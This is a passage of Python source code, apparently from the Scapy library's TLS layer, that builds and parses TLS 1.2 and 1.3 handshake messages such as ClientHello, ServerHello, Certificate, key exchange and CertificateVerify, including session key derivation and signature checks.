struct.calcsize(self.itemfmt) while m: res.append(struct.unpack(self.itemfmt, m[:itemlen])[0]) m = m[itemlen:] return res def i2len(self, pkt, i): if i is None: return 0 return len(i) * self.itemsize class _CompressionMethodsField(_CipherSuitesField): def any2i_one(self, pkt, x): if isinstance(x, (_GenericComp, _GenericCompMetaclass)): x = x.val if isinstance(x, str): x = self.s2i[x] return x ############################################################################### # ClientHello # ############################################################################### class TLSClientHello(_TLSHandshake): """ TLS ClientHello, with abilities to handle extensions. The Random structure follows the RFC 5246: while it is 32-byte long, many implementations use the first 4 bytes as a gmt_unix_time, and then the remaining 28 byts should be completely random. This was designed in order to (sort of) mitigate broken RNGs. If you prefer to show the full 32 random bytes without any GMT time, just comment in/out the lines below. """ name = "TLS Handshake - Client Hello" fields_desc = [ByteEnumField("msgtype", 1, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSClientVersionField("version", None, _tls_version), # _TLSRandomBytesField("random_bytes", None, 32), _GMTUnixTimeField("gmt_unix_time", None), _TLSRandomBytesField("random_bytes", None, 28), FieldLenField("sidlen", None, fmt="B", length_of="sid"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), _CipherSuitesField("ciphers", None, _tls_cipher_suites, itemfmt="!H", length_from=lambda pkt: pkt.cipherslen), FieldLenField("complen", None, fmt="B", length_of="comp"), _CompressionMethodsField("comp", [0], _tls_compression_algs, itemfmt="B", length_from=lambda pkt: pkt.complen), # noqa: E501 _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - (pkt.sidlen or 0) - # noqa: E501 (pkt.cipherslen or 0) - # noqa: E501 (pkt.complen or 0) - # noqa: E501 40))] def post_build(self, p, pay): if self.random_bytes is None: p = p[:10] + randstring(28) + p[10 + 28:] # if no ciphersuites were provided, we add a few usual, supported # ciphersuites along with the appropriate extensions if self.ciphers is None: cipherstart = 39 + (self.sidlen or 0) s = b"001ac02bc023c02fc027009e0067009c003cc009c0130033002f000a" p = p[:cipherstart] + hex_bytes(s) + p[cipherstart + 2:] if self.ext is None: ext_len = b'\x00\x2c' ext_reneg = b'\xff\x01\x00\x01\x00' ext_sn = b'\x00\x00\x00\x0f\x00\r\x00\x00\nsecdev.org' ext_sigalg = b'\x00\r\x00\x08\x00\x06\x04\x03\x04\x01\x02\x01' ext_supgroups = b'\x00\n\x00\x04\x00\x02\x00\x17' p += ext_len + ext_reneg + ext_sn + ext_sigalg + ext_supgroups return super(TLSClientHello, self).post_build(p, pay) def tls_session_update(self, msg_str): """ Either for parsing or building, we store the client_random along with the raw string representing this handshake message. """ super(TLSClientHello, self).tls_session_update(msg_str) s = self.tls_session s.advertised_tls_version = self.version # This ClientHello could be a 1.3 one. Let's store the sid # in all cases if self.sidlen and self.sidlen > 0: s.sid = self.sid self.random_bytes = msg_str[10:38] s.client_random = (struct.pack('!I', self.gmt_unix_time) + self.random_bytes) # No distinction between a TLS 1.2 ClientHello and a TLS # 1.3 ClientHello when dissecting : TLS 1.3 CH will be # parsed as TLSClientHello if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_SupportedVersion_CH): for ver in sorted(e.versions, reverse=True): # RFC 8701: GREASE of TLS will send unknown versions # here. We have to ignore them if ver in _tls_version: s.advertised_tls_version = ver break if s.sid: s.middlebox_compatibility = True if isinstance(e, TLS_Ext_SignatureAlgorithms): s.advertised_sig_algs = e.sig_algs if isinstance(e, TLS_Ext_PostHandshakeAuth): s.post_handshake_auth = True class TLS13ClientHello(_TLSHandshake): """ TLS 1.3 ClientHello, with abilities to handle extensions. The Random structure is 32 random bytes without any GMT time """ name = "TLS 1.3 Handshake - Client Hello" fields_desc = [ByteEnumField("msgtype", 1, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSClientVersionField("version", None, _tls_version), _TLSRandomBytesField("random_bytes", None, 32), FieldLenField("sidlen", None, fmt="B", length_of="sid"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), _CipherSuitesField("ciphers", None, _tls_cipher_suites, itemfmt="!H", length_from=lambda pkt: pkt.cipherslen), FieldLenField("complen", None, fmt="B", length_of="comp"), _CompressionMethodsField("comp", [0], _tls_compression_algs, itemfmt="B", length_from=lambda pkt: pkt.complen), # noqa: E501 _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - (pkt.sidlen or 0) - # noqa: E501 (pkt.cipherslen or 0) - # noqa: E501 (pkt.complen or 0) - # noqa: E501 40))] def post_build(self, p, pay): if self.random_bytes is None: p = p[:6] + randstring(32) + p[6 + 32:] # We don't call the post_build function from class _TLSHandshake # to compute the message length because we need that value now # for the HMAC in binder tmp_len = len(p) if self.msglen is None: sz = tmp_len - 4 p = struct.pack("!I", (orb(p[0]) << 24) | sz) + p[4:] s = self.tls_session if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_PreSharedKey_CH): if s.client_session_ticket: # For a resumed PSK, the hash function use # to compute the binder must be the same # as the one used to establish the original # connection. For that, we assume that # the ciphersuite associate with the ticket # is given as argument to tlsSession # (see layers/tls/automaton_cli.py for an # example) res_suite = s.tls13_ticket_ciphersuite cs_cls = _tls_cipher_suites_cls[res_suite] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size s.compute_tls13_early_secrets(external=False) else: # For out of band PSK, SHA-256 is used as default # hash functions for HKDF hkdf = TLS13_HKDF("sha256") hash_len = hkdf.hash.digest_size s.compute_tls13_early_secrets(external=True) # RFC8446 4.2.11.2 # "Each entry in the binders list is computed as an HMAC # over a transcript hash (see Section 4.4.1) containing a # partial ClientHello up to and including the # PreSharedKeyExtension.identities field." # PSK Binders field is : # - PSK Binders length (2 bytes) # - First PSK Binder length (1 byte) + # HMAC (hash_len bytes) # The PSK Binder is computed in the same way as the # Finished message with binder_key as BaseKey handshake_context = b"" if s.tls13_retry: for m in s.handshake_messages: handshake_context += m handshake_context += p[:-hash_len - 3] binder_key = s.tls13_derived_secrets["binder_key"] psk_binder = hkdf.compute_verify_data(binder_key, handshake_context) # Here, we replaced the last 32 bytes of the packet by the # new HMAC values computed over the ClientHello (without # the binders) p = p[:-hash_len] + psk_binder return p + pay def tls_session_update(self, msg_str): """ Either for parsing or building, we store the client_random along with the raw string representing this handshake message. """ super(TLS13ClientHello, self).tls_session_update(msg_str) s = self.tls_session if self.sidlen and self.sidlen > 0: s.sid = self.sid s.middlebox_compatibility = True self.random_bytes = msg_str[6:38] s.client_random = self.random_bytes if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_SupportedVersion_CH): for ver in sorted(e.versions, reverse=True): # RFC 8701: GREASE of TLS will send unknown versions # here. We have to ignore them if ver in _tls_version: s.advertised_tls_version = ver break if isinstance(e, TLS_Ext_SignatureAlgorithms): s.advertised_sig_algs = e.sig_algs if isinstance(e, TLS_Ext_PostHandshakeAuth): s.post_handshake_auth = True ############################################################################### # ServerHello # ############################################################################### class TLSServerHello(_TLSHandshake): """ TLS ServerHello, with abilities to handle extensions. The Random structure follows the RFC 5246: while it is 32-byte long, many implementations use the first 4 bytes as a gmt_unix_time, and then the remaining 28 byts should be completely random. This was designed in order to (sort of) mitigate broken RNGs. If you prefer to show the full 32 random bytes without any GMT time, just comment in/out the lines below. """ name = "TLS Handshake - Server Hello" fields_desc = [ByteEnumField("msgtype", 2, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSVersionField("version", None, _tls_version), # _TLSRandomBytesField("random_bytes", None, 32), _GMTUnixTimeField("gmt_unix_time", None), _TLSRandomBytesField("random_bytes", None, 28), FieldLenField("sidlen", None, length_of="sid", fmt="B"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), ShortEnumField("cipher", None, _tls_cipher_suites), _CompressionMethodsField("comp", [0], _tls_compression_algs, itemfmt="B", length_from=lambda pkt: 1), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: ( pkt.msglen - (pkt.sidlen or 0) - 40 ))] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 6: version = struct.unpack("!H", _pkt[4:6])[0] if version == 0x0304 or version > 0x7f00: return TLS13ServerHello return TLSServerHello def build(self, *args, **kargs): if self.getfieldval("sid") == b"" and self.tls_session: self.sid = self.tls_session.sid return super(TLSServerHello, self).build(*args, **kargs) def post_build(self, p, pay): if self.random_bytes is None: p = p[:10] + randstring(28) + p[10 + 28:] return super(TLSServerHello, self).post_build(p, pay) def tls_session_update(self, msg_str): """ Either for parsing or building, we store the server_random along with the raw string representing this handshake message. We also store the session_id, the cipher suite (if recognized), the compression method, and finally we instantiate the pending write and read connection states. Usually they get updated later on in the negotiation when we learn the session keys, and eventually they are committed once a ChangeCipherSpec has been sent/received. """ super(TLSServerHello, self).tls_session_update(msg_str) s = self.tls_session s.tls_version = self.version if hasattr(self, 'gmt_unix_time'): self.random_bytes = msg_str[10:38] s.server_random = (struct.pack('!I', self.gmt_unix_time) + self.random_bytes) else: s.server_random = self.random_bytes s.sid = self.sid if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_ExtendedMasterSecret): self.tls_session.extms = True if isinstance(e, TLS_Ext_EncryptThenMAC): self.tls_session.encrypt_then_mac = True cs_cls = None if self.cipher: cs_val = self.cipher if cs_val not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d from ServerHello", cs_val) # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[cs_val] comp_cls = Comp_NULL if self.comp: comp_val = self.comp[0] if comp_val not in _tls_compression_algs_cls: err = "Unknown compression alg %d from ServerHello" warning(err, comp_val) comp_val = 0 comp_cls = _tls_compression_algs_cls[comp_val] connection_end = s.connection_end s.pwcs = writeConnState(ciphersuite=cs_cls, compression_alg=comp_cls, connection_end=connection_end, tls_version=self.version) s.prcs = readConnState(ciphersuite=cs_cls, compression_alg=comp_cls, connection_end=connection_end, tls_version=self.version) _tls_13_server_hello_fields = [ ByteEnumField("msgtype", 2, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSVersionField("version", 0x0303, _tls_version), _TLSRandomBytesField("random_bytes", None, 32), FieldLenField("sidlen", None, length_of="sid", fmt="B"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), ShortEnumField("cipher", None, _tls_cipher_suites), _CompressionMethodsField("comp", [0], _tls_compression_algs, itemfmt="B", length_from=lambda pkt: 1), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - 38)) ] class TLS13ServerHello(TLSServerHello): """ TLS 1.3 ServerHello """ name = "TLS 1.3 Handshake - Server Hello" fields_desc = _tls_13_server_hello_fields # ServerHello and HelloRetryRequest has the same structure and the same # msgId. We need to check the server_random value to determine which it is. @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 38: # If SHA-256("HelloRetryRequest") == server_random, # this message is a HelloRetryRequest random_bytes = _pkt[6:38] if random_bytes == _tls_hello_retry_magic: return TLS13HelloRetryRequest return TLS13ServerHello def post_build(self, p, pay): if self.random_bytes is None: p = p[:6] + randstring(32) + p[6 + 32:] return super(TLS13ServerHello, self).post_build(p, pay) def tls_session_update(self, msg_str): """ Either for parsing or building, we store the server_random along with the raw string representing this handshake message. We also store the cipher suite (if recognized), and finally we instantiate the write and read connection states. """ s = self.tls_session s.server_random = self.random_bytes s.ciphersuite = self.cipher s.tls_version = self.version # Check extensions if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_SupportedVersion_SH): s.tls_version = e.version break if s.tls_version < 0x304: # This means that the server does not support TLS 1.3 and ignored # the initial TLS 1.3 ClientHello. tls_version has been updated return TLSServerHello.tls_session_update(self, msg_str) else: _TLSHandshake.tls_session_update(self, msg_str) cs_cls = None if self.cipher: cs_val = self.cipher if cs_val not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d from ServerHello", cs_val) # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[cs_val] connection_end = s.connection_end if connection_end == "server": s.pwcs = writeConnState(ciphersuite=cs_cls, connection_end=connection_end, tls_version=s.tls_version) if not s.middlebox_compatibility: s.triggered_pwcs_commit = True elif connection_end == "client": s.prcs = readConnState(ciphersuite=cs_cls, connection_end=connection_end, tls_version=s.tls_version) if not s.middlebox_compatibility: s.triggered_prcs_commit = True if s.tls13_early_secret is None: # In case the connState was not pre-initialized, we could not # compute the early secrets at the ClientHello, so we do it here. s.compute_tls13_early_secrets() s.compute_tls13_handshake_secrets() if connection_end == "server": shts = s.tls13_derived_secrets["server_handshake_traffic_secret"] s.pwcs.tls13_derive_keys(shts) elif connection_end == "client": shts = s.tls13_derived_secrets["server_handshake_traffic_secret"] s.prcs.tls13_derive_keys(shts) ############################################################################### # HelloRetryRequest # ############################################################################### class TLS13HelloRetryRequest(_TLSHandshake): name = "TLS 1.3 Handshake - Hello Retry Request" fields_desc = _tls_13_server_hello_fields def build(self): fval = self.getfieldval("random_bytes") if fval is None: self.random_bytes = _tls_hello_retry_magic if self.getfieldval("sid") == b"" and self.tls_session: self.sid = self.tls_session.sid return _TLSHandshake.build(self) @crypto_validator def tls_session_update(self, msg_str): s = self.tls_session s.tls13_retry = True s.tls13_client_pubshares = {} # RFC8446 sect 4.4.1 # If the server responds to a ClientHello with a HelloRetryRequest # The value of the first ClientHello is replaced by a message_hash if s.client_session_ticket: cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size else: cs_cls = _tls_cipher_suites_cls[self.cipher] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size handshake_context = struct.pack("B", 254) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", hash_len) digest = hashes.Hash(hkdf.hash, backend=default_backend()) digest.update(s.handshake_messages[0]) handshake_context += digest.finalize() s.handshake_messages[0] = handshake_context super(TLS13HelloRetryRequest, self).tls_session_update(msg_str) ############################################################################### # EncryptedExtensions # ############################################################################### class TLSEncryptedExtensions(_TLSHandshake): name = "TLS 1.3 Handshake - Encrypted Extensions" fields_desc = [ByteEnumField("msgtype", 8, _tls_handshake_type), ThreeBytesField("msglen", None), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: pkt.msglen - 2)] def post_build_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session connection_end = s.connection_end # Check if the server early_data extension is present in # EncryptedExtensions message (if so, early data was accepted by the # server) early_data_accepted = False if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_EarlyDataIndication): early_data_accepted = True # If the serveur did not accept early_data, we change prcs traffic # encryption keys. Otherwise, the the keys will be updated after the # EndOfEarlyData message if connection_end == "server": if not early_data_accepted: s.prcs = readConnState(ciphersuite=type(s.wcs.ciphersuite), connection_end=connection_end, tls_version=s.tls_version) chts = s.tls13_derived_secrets["client_handshake_traffic_secret"] # noqa: E501 s.prcs.tls13_derive_keys(chts) if not s.middlebox_compatibility: s.rcs = self.tls_session.prcs s.triggered_prcs_commit = False else: s.triggered_prcs_commit = True def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session connection_end = s.connection_end # Check if the server early_data extension is present in # EncryptedExtensions message (if so, early data was accepted by the # server) early_data_accepted = False if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_EarlyDataIndication): early_data_accepted = True # If the serveur did not accept early_data, we change pwcs traffic # encryption key. Otherwise, the the keys will be updated after the # EndOfEarlyData message if connection_end == "client": if not early_data_accepted: s.pwcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite), connection_end=connection_end, tls_version=s.tls_version) chts = s.tls13_derived_secrets["client_handshake_traffic_secret"] # noqa: E501 s.pwcs.tls13_derive_keys(chts) if not s.middlebox_compatibility: s.wcs = self.tls_session.pwcs s.triggered_pwcs_commit = False else: s.triggered_pwcs_commit = True ############################################################################### # Certificate # ############################################################################### # XXX It might be appropriate to rewrite this mess with basic 3-byte FieldLenField. # noqa: E501 class _ASN1CertLenField(FieldLenField): """ This is mostly a 3-byte FieldLenField. """ def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x): self.length_of = length_of self.adjust = adjust Field.__init__(self, name, default, fmt="!I") def i2m(self, pkt, x): if x is None: if self.length_of is not None: fld, fval = pkt.getfield_and_val(self.length_of) f = fld.i2len(pkt, fval) x = self.adjust(pkt, f) return x def addfield(self, pkt, s, val): return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 class _ASN1CertListField(StrLenField): islist = 1 def i2len(self, pkt, i): if i is None: return 0 return len(self.i2m(pkt, i)) def getfield(self, pkt, s): """ Extract Certs in a loop. XXX We should provide safeguards when trying to parse a Cert. """ tmp_len = None if self.length_from is not None: tmp_len = self.length_from(pkt) lst = [] ret = b"" m = s if tmp_len is not None: m, ret = s[:tmp_len], s[tmp_len:] while m: c_len = struct.unpack("!I", b'\x00' + m[:3])[0] lst.append((c_len, Cert(m[3:3 + c_len]))) m = m[3 + c_len:] return m + ret, lst def i2m(self, pkt, i): def i2m_one(i): if isinstance(i, str): return i if isinstance(i, Cert): s = i.der tmp_len = struct.pack("!I", len(s))[1:4] return tmp_len + s (tmp_len, s) = i if isinstance(s, Cert): s = s.der return struct.pack("!I", tmp_len)[1:4] + s if i is None: return b"" if isinstance(i, str): return i if isinstance(i, Cert): i = [i] return b"".join(i2m_one(x) for x in i) def any2i(self, pkt, x): return x class _ASN1CertField(StrLenField): def i2len(self, pkt, i): if i is None: return 0 return len(self.i2m(pkt, i)) def getfield(self, pkt, s): tmp_len = None if self.length_from is not None: tmp_len = self.length_from(pkt) ret = b"" m = s if tmp_len is not None: m, ret = s[:tmp_len], s[tmp_len:] c_len = struct.unpack("!I", b'\x00' + m[:3])[0] len_cert = (c_len, Cert(m[3:3 + c_len])) m = m[3 + c_len:] return m + ret, len_cert def i2m(self, pkt, i): def i2m_one(i): if isinstance(i, str): return i if isinstance(i, Cert): s = i.der tmp_len = struct.pack("!I", len(s))[1:4] return tmp_len + s (tmp_len, s) = i if isinstance(s, Cert): s = s.der return struct.pack("!I", tmp_len)[1:4] + s if i is None: return b"" return i2m_one(i) def any2i(self, pkt, x): return x class TLSCertificate(_TLSHandshake): """ XXX We do not support RFC 5081, i.e. OpenPGP certificates. """ name = "TLS Handshake - Certificate" fields_desc = [ByteEnumField("msgtype", 11, _tls_handshake_type), ThreeBytesField("msglen", None), _ASN1CertLenField("certslen", None, length_of="certs"), _ASN1CertListField("certs", [], length_from=lambda pkt: pkt.certslen)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: tls_session = kargs.get("tls_session", None) if tls_session and (tls_session.tls_version or 0) >= 0x0304: return TLS13Certificate return TLSCertificate def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) connection_end = self.tls_session.connection_end if connection_end == "client": self.tls_session.server_certs = [x[1] for x in self.certs] else: self.tls_session.client_certs = [x[1] for x in self.certs] class _ASN1CertAndExt(_GenericTLSSessionInheritance): name = "Certificate and Extensions" fields_desc = [_ASN1CertField("cert", ""), FieldLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", [], length_from=lambda pkt: pkt.extlen)] def extract_padding(self, s): return b"", s class _ASN1CertAndExtListField(PacketListField): def m2i(self, pkt, m): return self.cls(m, tls_session=pkt.tls_session) class TLS13Certificate(_TLSHandshake): name = "TLS 1.3 Handshake - Certificate" fields_desc = [ByteEnumField("msgtype", 11, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("cert_req_ctxt_len", None, fmt="B", length_of="cert_req_ctxt"), StrLenField("cert_req_ctxt", "", length_from=lambda pkt: pkt.cert_req_ctxt_len), _ASN1CertLenField("certslen", None, length_of="certs"), _ASN1CertAndExtListField("certs", [], _ASN1CertAndExt, length_from=lambda pkt: pkt.certslen)] # noqa: E501 def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) connection_end = self.tls_session.connection_end if connection_end == "client": if self.certs: sc = [x.cert[1] for x in self.certs if hasattr(x, 'cert')] self.tls_session.server_certs = sc else: if self.certs: cc = [x.cert[1] for x in self.certs if hasattr(x, 'cert')] self.tls_session.client_certs = cc ############################################################################### # ServerKeyExchange # ############################################################################### class TLSServerKeyExchange(_TLSHandshake): name = "TLS Handshake - Server Key Exchange" fields_desc = [ByteEnumField("msgtype", 12, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSServerParamsField("params", None, length_from=lambda pkt: pkt.msglen), _TLSSignatureField("sig", None, length_from=lambda pkt: pkt.msglen - len(pkt.params))] # noqa: E501 def build(self, *args, **kargs): r""" We overload build() method in order to provide a valid default value for params based on TLS session if not provided. This cannot be done by overriding i2m() because the method is called on a copy of the packet. The 'params' field is built according to key_exchange.server_kx_msg_cls which should have been set after receiving a cipher suite in a previous ServerHello. Usual cases are: - None: for RSA encryption or fixed FF/ECDH. This should never happen, as no ServerKeyExchange should be generated in the first place. - ServerDHParams: for ephemeral FFDH. In that case, the parameter to server_kx_msg_cls does not matter. - ServerECDH\*Params: for ephemeral ECDH. There are actually three classes, which are dispatched by _tls_server_ecdh_cls_guess on the first byte retrieved. The default here is b"\03", which corresponds to ServerECDHNamedCurveParams (implicit curves). When the Server\*DHParams are built via .fill_missing(), the session server_kx_privkey will be updated accordingly. """ fval = self.getfieldval("params") if fval is None: s = self.tls_session if s.pwcs: if s.pwcs.key_exchange.export: cls = ServerRSAParams(tls_session=s) else: cls = s.pwcs.key_exchange.server_kx_msg_cls(b"\x03") cls = cls(tls_session=s) try: cls.fill_missing() except Exception: if conf.debug_dissector: raise else: cls = Raw() self.params = cls fval = self.getfieldval("sig") if fval is None: s = self.tls_session if s.pwcs and s.client_random: if not s.pwcs.key_exchange.anonymous: p = self.params if p is None: p = b"" m = s.client_random + s.server_random + raw(p) cls = _TLSSignature(tls_session=s) cls._update_sig(m, s.server_key) else: cls = Raw() else: cls = Raw() self.sig = cls return _TLSHandshake.build(self, *args, **kargs) def post_dissection(self, pkt): """ While previously dissecting Server*DHParams, the session server_kx_pubkey should have been updated. XXX Add a 'fixed_dh' OR condition to the 'anonymous' test. """ s = self.tls_session if s.prcs and s.prcs.key_exchange.no_ske: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: useless ServerKeyExchange [%s]", pkt_info) if (s.prcs and not s.prcs.key_exchange.anonymous and s.client_random and s.server_random and s.server_certs and len(s.server_certs) > 0): m = s.client_random + s.server_random + raw(self.params) sig_test = self.sig._verify_sig(m, s.server_certs[0]) if not sig_test: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid ServerKeyExchange signature [%s]", pkt_info) # noqa: E501 ############################################################################### # CertificateRequest # ############################################################################### _tls_client_certificate_types = {1: "rsa_sign", 2: "dss_sign", 3: "rsa_fixed_dh", 4: "dss_fixed_dh", 5: "rsa_ephemeral_dh_RESERVED", 6: "dss_ephemeral_dh_RESERVED", 20: "fortezza_dms_RESERVED", 64: "ecdsa_sign", 65: "rsa_fixed_ecdh", 66: "ecdsa_fixed_ecdh"} class _CertTypesField(_CipherSuitesField): pass class _CertAuthoritiesField(StrLenField): """ XXX Rework this with proper ASN.1 parsing. """ islist = 1 def getfield(self, pkt, s): tmp_len = self.length_from(pkt) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def m2i(self, pkt, m): res = [] while len(m) > 1: tmp_len = struct.unpack("!H", m[:2])[0] if len(m) < tmp_len + 2: res.append((tmp_len, m[2:])) break dn = m[2:2 + tmp_len] res.append((tmp_len, dn)) m = m[2 + tmp_len:] return res def i2m(self, pkt, i): return b"".join(map(lambda x_y: struct.pack("!H", x_y[0]) + x_y[1], i)) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def i2len(self, pkt, val): if val is None: return 0 else: return len(self.i2m(pkt, val)) class TLSCertificateRequest(_TLSHandshake): name = "TLS Handshake - Certificate Request" fields_desc = [ByteEnumField("msgtype", 13, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("ctypeslen", None, fmt="B", length_of="ctypes"), _CertTypesField("ctypes", [1, 64], _tls_client_certificate_types, itemfmt="!B", length_from=lambda pkt: pkt.ctypeslen), SigAndHashAlgsLenField("sig_algs_len", None, length_of="sig_algs"), SigAndHashAlgsField("sig_algs", [0x0403, 0x0401, 0x0201], ShortEnumField("hash_sig", None, _tls_hash_sig), # noqa: E501 length_from=lambda pkt: pkt.sig_algs_len), # noqa: E501 FieldLenField("certauthlen", None, fmt="!H", length_of="certauth"), _CertAuthoritiesField("certauth", [], length_from=lambda pkt: pkt.certauthlen)] # noqa: E501 class TLS13CertificateRequest(_TLSHandshake): name = "TLS 1.3 Handshake - Certificate Request" fields_desc = [ByteEnumField("msgtype", 13, _tls_handshake_type), ThreeBytesField("msglen", None), FieldLenField("cert_req_ctxt_len", None, fmt="B", length_of="cert_req_ctxt"), StrLenField("cert_req_ctxt", "", length_from=lambda pkt: pkt.cert_req_ctxt_len), _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: pkt.msglen - pkt.cert_req_ctxt_len - 3)] def tls_session_update(self, msg_str): super(TLS13CertificateRequest, self).tls_session_update(msg_str) self.tls_session.tls13_cert_req_ctxt = self.cert_req_ctxt ############################################################################### # ServerHelloDone # ############################################################################### class TLSServerHelloDone(_TLSHandshake): name = "TLS Handshake - Server Hello Done" fields_desc = [ByteEnumField("msgtype", 14, _tls_handshake_type), ThreeBytesField("msglen", None)] ############################################################################### # CertificateVerify # ############################################################################### class TLSCertificateVerify(_TLSHandshake): name = "TLS Handshake - Certificate Verify" fields_desc = [ByteEnumField("msgtype", 15, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSSignatureField("sig", None, length_from=lambda pkt: pkt.msglen)] # See https://datatracker.ietf.org/doc/html/rfc8446#section-4.4 for how to compute # the signature. def build(self, *args, **kargs): sig = self.getfieldval("sig") if sig is None: s = self.tls_session m = b"".join(s.handshake_messages) if s.post_handshake: m += b"".join(s.post_handshake_messages) tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304: if s.connection_end == "client": context_string = b"TLS 1.3, client CertificateVerify" elif s.connection_end == "server": context_string = b"TLS 1.3, server CertificateVerify" m = b"\x20" * 64 + context_string + b"\x00" + s.wcs.hash.digest(m) # noqa: E501 self.sig = _TLSSignature(tls_session=s) if s.connection_end == "client": self.sig._update_sig(m, s.client_key) elif s.connection_end == "server": # should be TLS 1.3 only self.sig._update_sig(m, s.server_key) return _TLSHandshake.build(self, *args, **kargs) def post_dissection(self, pkt): s = self.tls_session m = b"".join(s.handshake_messages) if s.post_handshake: m += b"".join(s.post_handshake_messages) tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0304: if s.connection_end == "client": context_string = b"TLS 1.3, server CertificateVerify" elif s.connection_end == "server": context_string = b"TLS 1.3, client CertificateVerify" m = b"\x20" * 64 + context_string + b"\x00" + s.rcs.hash.digest(m) if s.connection_end == "server": if s.client_certs and len(s.client_certs) > 0: sig_test = self.sig._verify_sig(m, s.client_certs[0]) if not sig_test: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info) # noqa: E501 elif s.connection_end == "client": # should be TLS 1.3 only if s.server_certs and len(s.server_certs) > 0: sig_test = self.sig._verify_sig(m, s.server_certs[0]) if not sig_test: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info) # noqa: E501 ############################################################################### # ClientKeyExchange # ############################################################################### class _TLSCKExchKeysField(PacketField): __slots__ = ["length_from"] holds_packet = 1 def __init__(self, name, length_from=None): self.length_from = length_from PacketField.__init__(self, name, None, None) def m2i(self, pkt, m): """ The client_kx_msg may be either None, EncryptedPreMasterSecret (for RSA encryption key exchange), ClientDiffieHellmanPublic, or ClientECDiffieHellmanPublic. When either one of them gets dissected, the session context is updated accordingly. """ tmp_len = self.length_from(pkt) tbd, rem = m[:tmp_len], m[tmp_len:] s = pkt.tls_session cls = None if s.prcs and s.prcs.key_exchange: cls = s.prcs.key_exchange.client_kx_msg_cls if cls is None: return Raw(tbd) / Padding(rem) return cls(tbd, tls_session=s) / Padding(rem) class TLSClientKeyExchange(_TLSHandshake): """ This class mostly works like TLSServerKeyExchange and its 'params' field. """ name = "TLS Handshake - Client Key Exchange" fields_desc = [ByteEnumField("msgtype", 16, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSCKExchKeysField("exchkeys", length_from=lambda pkt: pkt.msglen)] def build(self, *args, **kargs): fval = self.getfieldval("exchkeys") if fval is None: s = self.tls_session if s.prcs: cls = s.prcs.key_exchange.client_kx_msg_cls cls = cls(tls_session=s) else: cls = Raw() self.exchkeys = cls return _TLSHandshake.build(self, *args, **kargs) def tls_session_update(self, msg_str): """ Finalize the EXTMS messages and compute the hash """ super(TLSClientKeyExchange, self).tls_session_update(msg_str) if self.tls_session.extms: to_hash = b''.join(self.tls_session.handshake_messages) # https://tools.ietf.org/html/rfc7627#section-3 if self.tls_session.tls_version >= 0x303: # TLS 1.2 uses the same Hash as the PRF from scapy.layers.tls.crypto.hash import _tls_hash_algs hash_object = _tls_hash_algs.get( self.tls_session.prcs.prf.hash_name )() 